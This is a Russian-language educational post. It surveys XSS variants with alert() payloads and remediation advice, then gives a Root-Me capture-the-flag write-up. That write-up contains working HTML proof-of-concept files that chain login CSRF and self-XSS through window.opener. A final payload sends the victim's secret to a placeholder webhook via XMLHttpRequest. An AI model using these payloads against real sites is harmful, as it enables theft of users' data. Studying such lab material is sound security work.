Cross site scripting (XSS)
@ZenmovieДисклеймер
Данный пост был написан только для образовательных целей.
Universal XSS
В отличие от остальных типов XSS данная атака направлена не на какое-то определенное веб-приложение, а не браузер.
Подробнее узнать можно здесь.
Рекомендации по исправлению: своевременно обновлять используемый браузер, настроить Content Security Policy (CSP)
Stored (persistent) XSS
Атака, при которой сначала внедряется и сохраняется JavaScript-код на сервере, а потом возвращается клиентскому браузеру при запросе определенной страницы.
Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)
Reflected XSS
XSS, при которой полезная нагрузка является частью запроса, код выполняется в момент запроса к серверу и возвращается обратно в браузер пользователя.
http://example.com/?q=<script>alert(document.domain)</script>
Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)
Self XSS
Self XSS - "выстрел в ногу", в данном случае атака влияет только на атакующего.
Чаще всего это выполнение JavaScript кода в консоли браузера. Либо же размещение полезной нагрузки на странице, куда никто, кроме атакующего, не имеет доступа.
Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить Content Security Policy (CSP)
Multipart XSS
Форма атаки на веб-приложения, при которой вредоносный код внедряется в многокомпонентные данные, такие как файлы изображений или документов, передаваемые через формы загрузки на сервер.
`<img src=x onerror=alert(document.domain)>`.jpg
Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; настроить проверку типов файлов, ограничить размер загружаемых файлов, обновление используемых библиотек и фреймворков
Dom-based XSS
Атака, которая выполняется непосредственно в браузере пользователя, а не на сервере посредством манипуляции DOM-страницы.
https://example.com/page#name=<script>alert(document.domain)</script>
Рекомендации по исправлению: использовать фильтрацию данных, полученных от пользователя; использовать безопасные методы работы с DOM, настроить Content Security Policy (CSP)
Решение self xss - dom:
Проверим поле username на уязвимость XSS, для этого воспользуемся полезной нагрузкой <script>alert(1)</script>



При создании имени пользователя и секрета создается JWT, который хранит в себе значения этих атрибутов. Но из-за того что кука session (JWT) обладает флагом httpOnly, получить ее с помощью javascript не получится. Поэтому создадим 2 файла index.html и csrf.html для получения значения secret из страницы /profile.
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>poc</title>
<style>
iframe {
width: 500px;
height: 500px;
border: 1px solid black;
}
</style>
</head>
<body>
<h1>POC</h1>
<script>
const csrf = window.open("/csrf.html")
window.onmessage = () => {
window.location = "http://challenge01.root-me.org:58003/profile"
}
</script>
</body>
csrf.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>poc</title>
</head>
<body>
<h1>CSRF</h1>
<form method="POST" action="http://challenge01.root-me.org:58003/login">
<input type="text" name="username" value="<script>alert(window.opener.document.querySelectorAll('section > p')[2].innerHTML)</script>">
<input type="text" name="secret" value="redacted">
<input type="submit">
</form>
<script>
window.opener.postMessage({}, "*")
document.querySelector("form").submit()
</script>
</body>
Для того чтобы все отработало нужно изначально пройти авторизацию, указать свой секрет и в браузере отключить блокирование попап-окон.
Поднимаем простое веб-приложение с помощью python3 в директории с index.html и csrf.html
python3 -m http.server
Заходим на http://localhost:8000/ и получаем введенный ранее секрет.

Так как предыдущая полезная нагрузка отработала изменяем метод alert на xhr или fetch и указываем куда должен прилететь ответ.
Измененный csrf.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>poc</title>
</head>
<body>
<h1>CSRF</h1>
<form method="POST" action="http://challenge01.root-me.org:58003/login">
<input type="text" name="username" value="<script>var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://{любой веб-хук/если на тачке белый IP, то можно и IP:8000}/?data=' + encodeURIComponent(window.opener.document.querySelectorAll('section > p')[2].innerHTML), true); xhr.send();</script>">
<input type="text" name="secret" value="redacted">
<input type="submit">
</form>
<script>
window.opener.postMessage({}, "*")
document.querySelector("form").submit()
</script>
</body>
</html>
Кратко почему это работает:
Мы открываем попап с нашим окном, где у нас тоже есть XSS, затем мы в родительском окне переходим на страницу с профилем, затем мы в дочернем окне сабмитим форму, получаем XSS в ориджине атакуемого хоста. Куку мы перетерли, однако страница с секретом уже прогружена в родительском окне, а в дочернем у нас есть XSS, причем ориджины у этих двух окон одинаковые. Из-за того что ориджины одинаковые, мы можем посмотреть содержимое родительской страницы. ©bavette_13
Материал написан для: https://t.me/LamerZen